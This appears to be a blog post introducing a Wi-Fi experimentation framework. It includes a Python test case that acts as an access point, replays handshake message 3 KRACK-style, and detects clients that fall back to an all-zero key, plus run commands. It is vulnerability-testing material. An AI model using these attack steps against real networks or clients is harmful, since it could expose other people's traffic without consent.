Wi-Fi Framework: creating PoC, automated experiments, test suites, fuzzers

by do son · January 10, 2022

Wi-Fi Framework

We present a framework to more easily perform Wi-Fi experiments. It can be used to create fuzzers, implement new attacks, create proof-of-concepts to test for vulnerabilities, automate experiments, implement test suites, and so on.

The main advantage of the framework is that it allows you to reuse the Wi-Fi functionality of Linux to more easily implement attacks and/or tests. For instance, the framework can connect to (protected) Wi-Fi networks for you and can broadcast beacons for you when testing clients. In general, any Wi-Fi functionality of Linux can be reused to more quickly implement attacks/tests. The framework accomplishes this by executing test cases on top of the hostap userspace daemon.

If you are new to performing Wi-Fi experiments on Linux it is highly recommended to first read the libwifi Linux Tutorial. When you are implementing basic Wi-Fi attacks without the need to reuse Linux functionality, then the framework provides limited advantages and you can instead consider directly implementing attacks in Scapy and optionally use the libwifi library.

Example

Say you want to test whether a client ever encrypts frames using an all-zero key. This can happen during a key reinstallation attack. By using the framework you do not need to reimplement all functionality of an access point, but only need to write the following test case:

class ExampleKrackZerokey(Test):

	name = "example-krack-zero-key"

	kind = Test.Authenticator



	def __init__(self):

		super().__init__([

			# Replay 4-Way Handshake Message 3/4.

			Action( trigger=Trigger.Connected, action=Action.Function ),

			# Receive all frames and search for one encrypted with an all-zero key.

			Action( trigger=Trigger.NoTrigger, action=Action.Receive ),

			# When we receive such a frame, we can terminate the test.

			Action( trigger=Trigger.Received, action=Action.Terminate )

		])





	def resend(self, station):

		# Resend 4-Way Handshake Message 3/4.

		station.wpaspy_command("RESEND_M3 " + station.clientmac )





	def receive(self, station, frame):

		if frame[Dot11].addr2 != station.clientmac or not frame.haslayer(Dot11CCMP):

			return False



		# Check if CCMP-encrypted frame can be decrypted using an all-zero key

		plaintext = decrypt_ccmp(frame.getlayer(Dot11), tk=b"\x00"*16)

		if plaintext is None: return False



		# We received a valid plaintext frame!

		log(STATUS,'Client encrypted a frame with an all-zero key!', color="green")

		return True

The above test case will create an access point that clients can connect to. After the client connects, a new 3rd message in the 4-way handshake will be sent to the client. A vulnerable client will then start using an all-zero encryption key, which the test case automatically detects.

You can run the above test case using simulated Wi-Fi radios as follows:

./setup/setup-hwsim.sh 4

source setup/venv/bin/activate

./run.py wlan1 example-krack-zero-key

./setup/setup-hwsim.sh 4

source setup/venv/bin/activate

./run.py wlan1 example-krack-zero-key

You can connect to the created access point to test it:

./hostap.py wlan2

By changing the network configuration this AP can easily be configured to use WPA2 or WPA3 and/or can be configured to use enterprise authentication, without making any changes to the test case that we wrote! Additional benifits of using the framework in this example are: